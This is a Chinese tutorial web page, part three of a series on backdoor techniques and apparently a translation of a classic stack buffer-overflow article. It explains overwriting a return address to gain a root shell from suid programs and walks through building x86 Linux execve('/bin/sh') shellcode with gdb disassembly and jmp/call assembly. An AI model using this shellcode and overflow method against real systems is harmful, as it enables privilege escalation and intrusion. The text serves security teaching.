庞大资源库的计算机教程网站!
设为首页
加入收藏
总编信箱
投稿或申请专栏请先 [登 陆]
首页 操作系统 程序设计 图形图像 媒体动画 机械电子 WEB开发 数 据 库 办公系列 路由技术 网络原理 网络应用
认证考试 安全技术
首页>安全技术>黑客攻防>黑客教程>正文
资料搜索
Google搜索
Google
返回上级列表

推荐文章

快速保存网页中所有图片的方法
Windows中让光驱巧妙“隐身”技
防范非法用户入侵Win 2000/XP系
两款比较典型的ASP木马防范方法
有关表格边框的css语法整理
Windows XP中可以被禁用的服务
SQL Server导出导入数据方法
Javascript所有对象的属性的获
网页(HTML)中的特殊字符
与篮球共舞,尽显模式本色
QQ病毒的手工清除方法
Photoshop为极品美女打造性感睫
天衣无缝:IIS与PHP水火也相容
SQL Server存储过程编写和优化

最全的后门制作及安装技术 三

 作者:本站收集   日期:2005-5-17
字号选择〖 〗/ 双击滚屏 单击停止   
首先我们看一下未执行strcpy时堆栈中的情况:
    16   4   4     4

...[buffer] [ebp] [ret地址] [large_string地址]
|      |

esp     ebp

当执行strcpy时, 程序将256 Bytes拷入buffer中,但是buffer只能容纳16 Bytes,那么这时会发生什么情况呢? 因为C语言并不进行边界检查, 所以结果是
buffer后面的250字节的内容也被覆盖掉了,这其中自然也包括ebp, ret地址 ,large_string地址.因为此时ret地址变成了0x41414141h ,所以当过程结束返回
时,它将返回到0x41414141h地址处继续执行,但由于这个地址并不在程序实际使用的虚存空间范围内,所以系统会报Segmentation Violation.

从上面的例子中不难看出,我们可以通过Buffer Overflow来改变在堆栈中存放的过程返回地址,从而 改变整个程序的流程,使它转向任何我们想要它去的地方.这就为黑客们提供了可乘之机, 最常见的方法是: 在长字符串中嵌入一段代码,并将过程的返回地址覆盖为这段代码的地址, 这样当过程返回时,程序就转而开始执行这段我们自编的代码了. 一般来说,这段代码都是执行一个Shell程序(如 insh),因为这样的话,当我们入侵一个带有Buffer Overflow缺陷且具有suid-root属性的程序时,我们会获得一个具有root权限的shell,在这个shell中我们可以干任何事.
因此, 这段代码一般被称为Shell Code.

下面我们就来看一下如何编写Shell Code.

---------------------------------------------

3. Shell Code 的编写

下面是一个创建Shell的C程序shellcode.c: (本文以IntelX86上的Linux为例说明)

void main() {

   char *name[2];

   name[0] = "/bin/sh";

   name[1] = NULL;

   execve(name[0], name, NULL);

}

我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选项,否则execve的代码将不会放入执行代码,而是作为动态链接在运行时才链
入.)
---------------------------------------------

[aleph1]$ gcc -o shellcode -ggdb -static
shellcode.c

[aleph1]$ gdb shellcode

GDB is free software and you are welcome to
distribute copies of it

under certain conditions; type "show copying"
to see the conditions.

There is absolutely no warranty for GDB; type
"show warranty" for details.

GDB 4.15 (i586-unknown-linux), Copyright 1995
Free Software Foundation, Inc...

(gdb) disassemble main

Dump of assembler code for function main:

0x8000130 <main>: pushl %ebp

0x8000131 <main+1>: movl %esp,%ebp

0x8000133 <main+3>: subl $0x8,%esp

0x8000136 <main+6>: movl
$0x80027b8,0xfffffff8(%ebp)

0x800013d <main+13>: movl $0x0,0xfffffffc(%
ebp)

0x8000144 <main+20>: pushl $0x0

0x8000146 <main+22>: leal 0xfffffff8(%ebp),%
eax

0x8000149 <main+25>: pushl %eax

0x800014a <main+26>: movl 0xfffffff8(%ebp),%
eax

0x800014d <main+29>: pushl %eax

0x800014e <main+30>: call 0x80002bc <__execve>

0x8000153 <main+35>: addl $0xc,%esp

0x8000156 <main+38>: movl %ebp,%esp

0x8000158 <main+40>: popl %ebp

0x8000159 <main+41>: ret

End of assembler dump.

(gdb) disassemble __execve

Dump of assembler code for function __execve:

0x80002bc <__execve>: pushl %ebp

0x80002bd <__execve+1>: movl %esp,%ebp

0x80002bf <__execve+3>: pushl %ebx

0x80002c0 <__execve+4>: movl $0xb,%eax

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

0x80002ce <__execve+18>: int $0x80

0x80002d0 <__execve+20>: movl %eax,%edx

0x80002d2 <__execve+22>: testl %edx,%edx

0x80002d4 <__execve+24>: jnl 0x80002e6
<__execve+42>

0x80002d6 <__execve+26>: negl %edx

0x80002d8 <__execve+28>: pushl %edx

0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>

0x80002de <__execve+34>: popl %edx

0x80002df <__execve+35>: movl %edx,(%eax)

0x80002e1 <__execve+37>: movl $0xffffffff,%eax

0x80002e6 <__execve+42>: popl %ebx

0x80002e7 <__execve+43>: movl %ebp,%esp

0x80002e9 <__execve+45>: popl %ebp

0x80002ea <__execve+46>: ret

0x80002eb <__execve+47>: nop

End of assembler dump.

下面我们来首先来分析一下main代码中每条语句的作
用:

0x8000130 <main>: pushl %ebp

0x8000131 <main+1>: movl %esp,%ebp

0x8000133 <main+3>: subl $0x8,%esp

这跟前面的例子一样,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指针,最后为局部变量留出空间.在这里,局部变量为:

char *name[2];

也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了 8 个字节的位置.

0x8000136 <main+6>: movl
$0x80027b8,0xfffffff8(%ebp)

这里, 将字符串"/bin/sh"的地址放入name[0]的内存单元中, 也就是相当于 :

name[0] = "/bin/sh";

0x800013d <main+13>: movl $0x0,0xfffffffc(%
ebp)

将NULL放入name[1]的内存单元中, 也就是相当于:

name[1] = NULL;

对execve()的调用从下面开始:

0x8000144 <main+20>: pushl $0x0

开始将参数以逆序压入堆栈, 第一个是NULL.

0x8000146 <main+22>: leal 0xfffffff8(%ebp),%
eax

0x8000149 <main+25>: pushl %eax

将name[]的起始地址压入堆栈

0x800014a <main+26>: movl 0xfffffff8(%ebp),%
eax

0x800014d <main+29>: pushl %eax

字符串"/bin/sh"的地址压入堆栈

0x800014e <main+30>: call 0x80002bc <__execve>

调用execve() . call 指令首先将 EIP 压入堆栈

现在我们再来看一下execve()的代码. 首先要注意的是, 不同的操作系统,不同的CPU,他们产生系统调用的方法也不尽相同. 有些使用软中断,有些使用远程调用.从参数传递的角度来说,有些使用寄存器,有些使用堆栈.

我们的这个例子是在基于Intel X86的Linux上运行的.所以我们首先应该知道Linux中,系统调用以软中断的方式产生( INT 80h),参数是通过寄存器传递给
系统的.

0x80002bc <__execve>:  pushl %ebp

0x80002bd <__execve+1>: movl %esp,%ebp

0x80002bf <__execve+3>: pushl %ebx

同样的入口处理

0x80002c0 <__execve+4>: movl $0xb,%eax

将0xb(11)赋给eax , 这是execve()在系统中的索引
号.

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

字符串"/bin/sh"的地址赋给ebx

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

将name[]的地址赋给ecx

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

将NULL的地址赋给edx

0x80002ce <__execve+18>: int $0x80

产生系统调用,进入核心态运行.

看了上面的代码,现在我们可以把它精简为下面的汇
编语言程序:

leal string,string_addr

movl $0x0,null_addr

movl $0xb,%eax

movl string_addr,%ebx

leal string_addr,%ecx

leal null_string,%edx

int $0x80

(我对Linux的汇编语言格式了解不多,所以这几句使
用的是DOS汇编语言的格式)

string db "/bin/sh",0

string_addr dd 0

null_addr  dd 0

但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程序执行时在内存中所处的位置,所以像:

movl string_addr,%ebx

这种需要将绝对地址编码进机器语言的指令根本就没法使用.

解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编码使用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们可以在 ShellCode的最开始加入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程序编码的字节长度,就可以使JMP指令跳转到CALL指令处执行,而CALL 指令则指向JMP的下一条指令,因为在执行CALL指令时,CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们就可以在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还可以很方便地存取string_addr和null_addr.

经过上面的修改,我们的ShellCode变成了下面的样子:

jmp 0x20

popl esi

movb $0x0,0x7(%esi)

movl %esi,0x8(%esi)

movl $0x0,0xC(%esi)

movl $0xb,%eax

movl %esi,%ebx

leal 0x8(%esi),%ecx

leal 0xC(%esi),%edx

int $0x80

call -0x25

string db "/bin/sh",0

string_addr dd 0

null_addr  dd 0 # 2 bytes,跳转到CALL

# 1 byte, 弹出string地址

# 4 bytes,将string变为以''结尾的字符

# 7 bytes

# 5 bytes

# 2 bytes

# 3 bytes

# 3 bytes

# 2 bytes

# 5 bytes,跳转到popl %esi
上一篇:最全的后门制作及安装技术 四    下一篇:最全的后门制作及安装技术 二  
[发送给好友]  [关闭窗口]  [返回顶部]   转载请注明来源:www.it00.com   
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
责任编辑: 原点 投稿作者: 本站收集
信息来源: 网络 录入时间: 2005-5-17
关于我们 - 广告服务 - 版权申明 - 网站地图 - 联系方式 - 总编信箱 - 会员投稿